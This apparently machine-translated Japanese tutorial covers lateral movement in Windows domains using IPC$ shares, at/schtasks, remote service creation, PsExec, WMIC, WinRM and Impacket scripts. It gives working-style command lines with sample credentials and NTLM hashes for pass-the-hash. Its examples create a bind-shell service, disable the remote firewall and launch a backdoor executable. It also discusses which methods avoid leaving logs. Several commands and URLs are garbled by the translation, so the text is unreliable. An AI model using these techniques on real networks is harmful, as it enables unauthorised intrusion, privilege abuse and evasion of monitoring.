通常の状況では、水平方向の動きは、十分な権限が得られた場合に水平方向に移動することです。以下の方法のほとんどは、高い許可操作も必要です。
https://www.freebuf.com/articles/network/251364.html
イントラネットの水平移動には3つの状況があります。
1. VPN環境で水平方向の動きを実行します。
2。ソックスプロキシ環境で水平方向の動きを実行します。
3.遠隔トロイの木馬の環境で水平方向の動きを実行します。
ファイル転送準備
水平運動の過程で、最初に考慮すべきことはファイル転送スキームであり、攻撃ペイロードまたはその他のファイルを攻撃ターゲットに後で展開するための利便性を提供します。
ネットワーク共有
Windowsシステムでは、ネットワーク共有機能はローカルエリアネットワーク間のファイル共有を実現できます。有効なユーザー資格情報を提供して、あるマシンから別のマシンにファイルを転送します。
Windowsでデフォルトでネットワーク共有を有効にします。
ネットシェア
実際の戦闘では、IPC $接続がよく使用され、IPC $接続には2つの要件が必要です。
1.リモートホストはIPC接続を有効にしました。
2。リモートホストの139ポートと445ポートが開いています。
ネット使用\\ 10.10.10.10 \ ipc $ 'admin!@#456' /user:'administrator '
この時点で、十分な権限がある場合は、dirまたはcopyコマンドを使用してターゲットホストの情報を表示できます。
セキュリティ上の考慮事項:これらの命令はローカルで実行されるリモートコマンドであるため、リモート接続されたホストにログ情報を残さないため、比較的安全です。
SMBサーバーを構築します
https://3GSTUDENT.GITHUB.IO/%E6%B8%97%E9%80%8FA6%8A%80%E5%5%B7%A7-ERE9%80%9AA%E8%BF87%E5%91%BD%EE4%A4%E8%A1%8 C%E5%BC%80%E5%90%AfWindows%E7%B3%BB%E7%BB%9F%E7%9a%84%E5%8C%BF%E5%90%8D%E8%AE%BF%E9%97%AE5%85%B1%E4%BA%AB
CIFS(ネットワークファイル共有システム)とも呼ばれるSMB(サーバーメッセージブロック)は、アプリケーションレイヤーネットワーク伝送プロトコルに基づいており、通常、NetBiosプロトコルまたはTCPを使用して送信し、ポート139または445を使用します。
両当事者がアクセスできるSMBサーバーとイントラネットの普及により、被害者ホストはトロイの木馬やその他の操作をリモートでロードしてターゲットホストを制御できます。
CIFSプロトコルとSMBプロトコルの違い
** CIFSアクセス許可に関するアイデア:**マシンを削除し、制約付き委任や銀の請求書などの脆弱性がある場合、操作を通じてドメインコントロールのCIFS許可を取得します。その後、Impacket Toolkitでpsexec.pyやsmbexec.pyなどのツールを使用し、-no -pass -kパラメーターを使用してドメイン制御に直接接続して、ローカル請求書を読んでアクセス許可を取得できます。
ただし、Impacket Toolkitが-no -Pass -Kパラメーターを使用すると、ccacheチケットを検出し、Windowsで.kirbi -endチケットを使用するため、成功することはできません。 Linuxで成功する可能性があります。
ドメインコントロールのCIFS許可を取得できる場合は、Impackツールを変更するか、他のツールを作成し、CIFSアクセス許可を使用してドメイン制御を直接取得します。
計画タスク
実行方法は、VPNおよびSocksメソッドと同じです。一般的に、管理者の資格情報は、スケジュールされたタスクを実行する前に取得する必要があります。
SMBサーバーを構築するか、共有接続を確立することにより、ターゲットマシンはスクリプトをダウンロードして実行し、スクリプトロードトロイの木馬などを実行するための計画されたタスクを確立します。
ターゲットシステムバージョンWindow2012が使用される場合:
ネット使用\\ 192.168.3.21 \ ipc $ 'admin12345' /user:god.org\administrator#IPC接続を確立する
コピーadd.bat \ 192.168.3.21 \ c $ #copy実行ファイルをターゲットマシンに
at \\ 192.168.3.21 15:47 C: \ add.bat #ADDスケジュールされたタスク
ターゲットシステムバージョン=windows2012の場合、schtasksを使用します。
ネット使用\\ 192.168.3.32 \ ipc $ 'admin!@#45' /user:god.org\administrator#IPC接続を確立する
コピーadd.bat \\ 192.168.3.32 \ c $ #copyファイルをCドライブに
schtasks /create /s 192.168.3.32 /ru 'system' /tn adduser /sc daily /tr c: \ add.bat /f#create Adduserタスクの対応する実行ファイル
/s:リンクするシステムを指定します。 /ru:実行するスケジュールされたタスクのユーザー権限を指定します。 /TN:作成されたスケジュールされたタスクの名前を指定します。
/SC:スケジュールされたタスクの実行頻度を指定します。 /TR:スケジュールされたタスクが実行されるプログラムパスを指定します。 /f:指定されたタスクが存在する場合は強制的な作成。
/MO:スケジュールされたタスク実行サイクルを指定します。
schtasks /query /s 10.10.10.10 /TN C#ビュースケジュールされたタスクCステータス
schtasks /run /s 192.168.3.32 /tn adduser /i #run adduserタスク
schtasks /delete /s 192.168.3.21 /tn adduser /f#delete adduserタスク
タスクの実行をスケジュールするプログラムは、バックグラウンドで実行され、エコーがないことに注意してください。
ログに関しては、リモート接続操作が実行される限り、IPはNTLM認証パケットであり、ドメイン名またはマシン名はKerberos認証パケットです。
計画されたタスクの追加、削除、実行、およびその他の操作も、ターゲットホストに反映されます。
Microsoft-Windows-Taskscheduler/Operational:このイベントログは、スケジュールされたタスクの操作、作成、変更、削除を記録します。このログは、Windowsイベントビューアーで見つけることができます。パスは次のとおりです。イベントビューアー - アプリケーションとサービスログ - Microsoft -Windows -Taskscheduler-動作。 Microsoft-Windows-Taskscheduler/Menaptaining:このイベントログは、タスクの開始、完了、エラー情報など、スケジュールされたタスクの実行を記録するために使用されます。また、Windowsイベントビューアーでは、このログを見つけることができます。パスは次のとおりです。イベントビューアー - アプリケーションとサービスログ - Microsoft -Windows -Taskscheduler-メンテナンス。セキュリティ上の考慮事項:スケジュールされたタスクはリモートで実行されますが、ターゲットホストにスケジュールされたタスクプロセスが確立され、プロセスもターゲットホストでファイルを実行します。これらの動作は、ターゲットホストにログレコードを残すため、より危険です。
システムサービス
実行方法は、VPNおよびSocksメソッドと同じです。リモートホストにシステムサービスを作成することにより、リモートホストで指定されたプログラムまたはコマンドを実行することもできます。
この方法では、両方のホストに管理者の権利が必要です。
sc \\ [hostname/ip] create [servicename] binpath='[path]' #createスケジュールされたタスクスタートアッププログラム
Sc \\ 10.10.10.10 CREATE BINDSHELL BINPATH='C: \ Bind.Exe'
こちらの形式に注意してください "="は空にする必要があります。そうしないと、エラーが発生します。
サービスを開始します
sc \\ 10.10.10.10 Bindshellを開始します
サービスを削除します
sc \\ [host] delete [servicename] #deleteサービス
また、サービスをセットアップすることにより、ファイアウォールをオフにすることもできます。
sc \\ win-ens2vr5tr3n create canveadfirewall binpath='netsh advfirewall set allprofiles state off'
sc \\ win-ens2vr5tr3n cantyfirewallを開始します
ログに関しては、リモート接続操作が実行される限り、IPはNTLM認証パケットであり、ドメイン名またはマシン名はKerberos認証パケットです。
システムサービスのログも痕跡を残します。
セキュリティ上の考慮事項:システムサービスを作成する方法を使用すると、リモートホストにサービスが作成され、ターゲットホストにログレコードを残すため、より危険です。
psexec
実行方法は、VPNおよびSocksメソッドと同じです。 PSTOOLSPSEXECは、SMBを介してサーバーの管理者$共有に接続し、「psexesvc.exe」という名前のバイナリファイルをリリースし、「psexec」という名前のサービスを登録するサービスです。コマンドが実行されると、対応するプログラムがサービスを通じて開始され、コマンドとエコーが実行されます。実行が完了した後、PSEXESVCサービスが削除されます。
したがって、psexecを実行するために必要な条件:
1.ターゲットホストは、管理者$共有を有効にします。
2。SMBを実行するためにポート139または445を開きます。
3。サービスを作成するには、ターゲットホストの権限が必要です。
psexec.exe -accepteula \\ 192.168.52.138 -u god \ liukaifeng01 -p liufupeng123 -i -s cmd.exe
-ACCEPTEULA:PSEXECを初めて実行すると、確認ボックスがポップアップし、このパラメーターを使用すると確認ボックスがポップアップされません。
-u:ユーザー名
-P:パスワード
-S:システム許可を使用して運搬プロセスを実行し、システム権限を備えたインタラクティブシェルを取得します。このパラメーターが使用されていない場合、接続に使用されるユーザー権限を備えたシェルが取得されます
Impacketパッケージpsexec.pyを使用すると、リモートWindowsシステムでプロセスを実行したり、ファイルをコピーしたり、処理出力の結果を返したりできます。さらに、完全なインタラクティブコンソール(クライアントソフトウェアをインストールする必要はありません)を使用して、リモートシェルコマンドを直接実行できます。
python psexec.py [[domain/] username [: password] @] [ターゲットIPアドレス]
python psexec.py vvvv1/admins:user \!@#45@10.10.10.10
#ハッシュパスワード接続を介してターゲットドメインユーザーインタラクティブシェルを取得する
python psexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21
pythonファイルとexeファイルのコマンドは同じです。
PSEXECを使用する場合、ログインログはドメインコントロールで生成されるだけでなく、ターゲットマシンでもログ情報が生成されます。
イベントID:7045
公式のPSEXECツールを使用します
ImpacketパッケージのPSEXECツールを使用して接続すると、生成されたサービス名が自動的に変更されることがわかります(サービスに特定の隠された効果があります)
セキュリティ分析:PSEXECが実行されると、ファイルをアップロードするだけでなく、サービスを作成します。これらはターゲットホストによって記録されるため、より危険です。
wmi
実行方法は、VPNおよびSocksメソッドと同じです。 WMIのフルネームは(Windows Management Instrumentation、Windows Management Specification)であり、ユーザーはWMIを介してローカルおよびリモートコンピューターを管理できます。 WMIが使用するプロトコルは、DCOM(分散コンポーネントオブジェクトモデル)とWinRM(Windowsリモート管理)です。
WMIを実行するために必要な条件:
1.リモートホストのWMIサービスは、有効な状態にあります。
2。両方のホストを開いてポート135をリリースします。
Windowsでは、wmic.exeおよびpowershell cmdletsを使用してWMIデータを使用してWMIメソッドを実行できます。
wmic /node:192.168.183.130 /user:administrator path win32_terminalservicesetting where(__class!='')call setallowtsconnections 1
//wmic /node: '[フルマシン名]' /user: '[domain] \ [username]' path win32_terminalservicesetting where(__class!='')call setallowtsconnections 1
リモートプロセス情報をクエリします
wmic /node:192.168.183.130 /user:administrator /password:liu78963プロセスリスト概要
WMICコマンドの実行にはエコーがないため、結果はtxtに書き込まれます
wmic /node:192.168.183.130 /user:administrator /password:liu78963プロセスコール 'cmd.exe /c ipconfig c: \ result.txt' \ result.txt '
wmic /node:192.168.183.130 /user:administrator /password:liu78963プロセスコール 'cmd.exe /cコマンドC: \ result.txt'
wmic /node:192.168.183.130 /user:administrator /password:liu78963プロセスコール 'directory \ backdoor.exe'を作成する
///ノード:動作するサーバーを指定します
ログに関しては、リモート接続操作が実行される限り、IPはNTLM認証パケットであり、ドメイン名またはマシン名はKerberos認証パケットです。認証操作を除き、WMICリモート実行コマンドは通常の状況ではログを生成しません。コマンドライン監査関数のみがオンになります。 WMICコマンドを使用して操作を実行する場合、関連するイベントはWindowsイベントログに記録されます。
dcomの利用
実行方法は、VPNおよびSocksメソッドと同じです。 https://www.freebuf.com/articles/web/293280.html
winrm利用
実行方法は、VPNおよびSocksメソッドと同じです。 http://www.mchz.com.cn/cn/service/safety-lab/info_26_itemid_4124.htmlwinrmは、同じネットワークのWindowsコンピューターがアクセスしてアクセスして情報を交換できるようにすることにより、WS-Managementプロトコルを実行することにより、リモート管理を実装します。
Windows-2008以上のサーバーでは、WinRMサービスが自動的に開始されます。水平ムーブメントにWinRMサービスを使用する場合、リモートホストの管理者資格情報が必要です。
WinRMサービスをインストールします
1. Winrmを有効にするかどうかを確認します
winrm e winrm/config/リスナー
エラーが報告されている場合、有効になりません
2。サービスをオンにします
管理者モードでCMDを使用します。 PowerShellは実行されないためです
Winrm QuickConfig
2つの質問があります。「Y」を入力するだけです
3。WINRMサービス設定AUTH
winrm set winrm/config/service/auth '@{basic=' true '}'
4.非暗号化を許可するようにWinRMサービスの暗号化方法を構成します(これが構成されていない場合、リモート接続はエラーを引き起こします)
winrm set winrm/config/service '@{lowtunencrypted=' true '}'
5。WinRM構成を確認します
winrm get winrm/config
TrustEdhostsを構成します
winrm set winrm/config/client @{trustedhosts='10 .10.10.10 '} #trusted host 10.10.10.10
set -item wsman:localhost \ client \ trustedhosts -value * #powershell trustすべてのホスト
コマンド実行
Winrs -R:333http://10.10.10.10.10:5985 -U:ADMINISTRATOR -P:ADMIN!@#456 'Whoami'
Winrs -R:3http://10.10.10.10.10:5985 -U:ADMINISTRATOR -P:ADMIN!@#456 'CMD'
ログに関しては、リモート接続操作が実行される限り、IPはNTLM認証パケットであり、ドメイン名またはマシン名はKerberos認証パケットです。認証操作を除き、コマンドのWinRMリモート実行は通常の状況ではログを生成しません。
Linuxは水平浸透
を実行します一般的に、水平方向の浸透がLinuxで実行され、ImpacketツールキットはPythonスクリプトである侵入に使用されます。
wmiexec.py
実行方法は、VPNおよびSocksメソッドと同じです。 Windows Management Instrumentationを使用して半対話シェルを生成し、管理者として実行します。ターゲットサーバーにサービス/エージェントをインストールする必要はないため、非常に隠されています。
python wmiexec.py [[domain/] username [: password] @] [ターゲットIPアドレス]
python wmiexec.py vvvv1/admins:user \!@#45@10.10.10.10(注:パスワードに1つある場合は、エスケープする必要があります)
python wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
ログインログはドメインコントロールホストに残されていますが、ソックストンネルのクライアントホストはログインログに残りません。
psexec.py
実行方法は、VPNおよびSocksメソッドと同じです。 psexec.pyを使用すると、リモートWindowsシステムでプロセスを実行したり、ファイルをコピーしたり、処理出力の結果を返したりできます。さらに、完全なインタラクティブコンソール(クライアントソフトウェアをインストールする必要はありません)を使用して、リモートシェルコマンドを直接実行できます。
python psexec.py [[domain/] username [: password] @] [ターゲットIPアドレス]
python psexec.py vvvv1/admins:user \!@#45@10.10.10.10
#ハッシュパスワード接続を介してターゲットドメインユーザーインタラクティブシェルを取得する
python psexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21
PSEXECを使用する場合、ログインログはドメインコントロールで生成されるだけでなく、ターゲットマシンでもログ情報が生成されます。
イベントID:7045
公式のPSEXECツールを使用します
ImpacketパッケージのPSEXECツールを使用して接続すると、生成されたサービス名が自動的に変更されることがわかります(サービスに特定の隠された効果があります)